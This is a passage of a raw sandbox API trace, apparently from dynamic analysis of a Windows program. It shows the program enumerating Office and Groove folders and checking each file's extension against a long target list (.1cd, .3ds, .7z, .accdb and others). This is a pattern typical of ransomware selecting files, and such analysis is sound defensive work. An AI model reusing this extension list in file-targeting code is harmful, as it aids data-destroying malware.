dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0264.101] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0264.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0264.101] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0264.106] RtlpDeCommitFreeBlock () [0264.106] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0264.109] RtlpDeCommitFreeBlock () [0264.109] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0264.110] RtlpDeCommitFreeBlock () [0264.110] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 [0264.110] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0264.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46441b0 | out: hHeap=0x540000) returned 1 [0264.110] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0264.113] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0264.113] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0264.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46441b0 | out: hHeap=0x540000) returned 1 [0264.113] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0264.113] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0264.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0264.115] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0264.119] RtlpDeCommitFreeBlock () [0264.119] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0264.122] RtlpDeCommitFreeBlock () [0264.122] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0264.125] RtlpDeCommitFreeBlock () [0264.125] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0264.125] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0264.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0264.125] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0264.132] RtlpDeCommitFreeBlock () [0264.228] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0264.254] RtlpDeCommitFreeBlock () [0264.254] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0264.259] RtlpDeCommitFreeBlock () [0264.259] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0264.260] RtlpDeCommitFreeBlock () [0264.260] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0264.261] RtlpDeCommitFreeBlock () [0264.261] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0264.262] RtlpDeCommitFreeBlock () [0264.262] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0264.265] RtlpDeCommitFreeBlock () [0264.265] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0264.275] RtlpDeCommitFreeBlock () [0264.275] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0264.280] RtlpDeCommitFreeBlock () [0264.280] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0264.280] RtlpDeCommitFreeBlock () [0264.280] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0264.310] RtlpDeCommitFreeBlock () [0264.310] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1 [0264.311] RtlpDeCommitFreeBlock () [0264.311] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0264.312] RtlpDeCommitFreeBlock () [0264.312] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0264.313] RtlpDeCommitFreeBlock () [0264.313] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1 [0264.314] RtlpDeCommitFreeBlock () [0264.314] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1 [0264.316] RtlpDeCommitFreeBlock () [0264.316] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x977, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0264.317] RtlpDeCommitFreeBlock () [0264.317] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1 [0264.318] RtlpDeCommitFreeBlock () [0264.318] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0264.319] RtlpDeCommitFreeBlock () [0264.319] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0264.320] RtlpDeCommitFreeBlock () [0264.320] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0264.321] RtlpDeCommitFreeBlock () [0264.321] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe34, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0264.322] RtlpDeCommitFreeBlock () [0264.322] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0264.327] RtlpDeCommitFreeBlock () [0264.327] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0264.327] RtlpDeCommitFreeBlock () [0264.327] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc23, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0264.328] RtlpDeCommitFreeBlock () [0264.328] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0264.328] RtlpDeCommitFreeBlock () [0264.328] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="GROOVE~4")) returned 1 [0264.662] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.671] FindNextFileW (in: hFindFile=0x4604278, lpFindFileData=0x35eeb9c | out: lpFindFileData=0x35eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0264.672] lstrlenW (lpString="ADD.GIF") returned 7 [0264.674] lstrlenW (lpString=".1cd") returned 4 [0264.676] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.677] lstrlenW (lpString=".3ds") returned 4 [0264.677] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0264.680] lstrlenW (lpString=".3fr") returned 4 [0264.681] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0264.681] lstrlenW (lpString=".3g2") returned 4 [0264.681] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0264.683] lstrlenW (lpString=".3gp") returned 4 [0264.684] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0264.685] lstrlenW (lpString=".7z") returned 3 [0264.685] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.689] lstrlenW (lpString=".accda") returned 6 [0264.692] lstrcmpiW (lpString1=".accda", lpString2="DD.GIF") returned -1 [0264.693] lstrlenW (lpString=".accdb") returned 6 [0264.693] lstrcmpiW (lpString1=".accdb", lpString2="DD.GIF") returned -1 [0264.696] lstrlenW (lpString=".accdc") returned 6 [0264.696] lstrcmpiW (lpString1=".accdc", lpString2="DD.GIF") returned -1 [0264.705] lstrlenW (lpString=".accde") returned 6 [0264.705] lstrcmpiW (lpString1=".accde", lpString2="DD.GIF") returned -1 [0264.705] lstrlenW (lpString=".accdt") returned 6 [0264.705] lstrcmpiW (lpString1=".accdt", lpString2="DD.GIF") returned -1 [0264.705] lstrlenW (lpString=".accdw") returned 6 [0264.705] lstrcmpiW (lpString1=".accdw", lpString2="DD.GIF") returned -1 [0264.705] lstrlenW (lpString=".adb") returned 4 [0264.705] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0264.705] lstrlenW (lpString=".adp") returned 4 [0264.705] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0264.705] lstrlenW (lpString=".ai") returned 3 [0264.705] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0264.705] lstrlenW (lpString=".ai3") returned 4 [0264.705] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0264.706] lstrlenW (lpString=".ai4") returned 4 [0264.706] lstrcmpiW 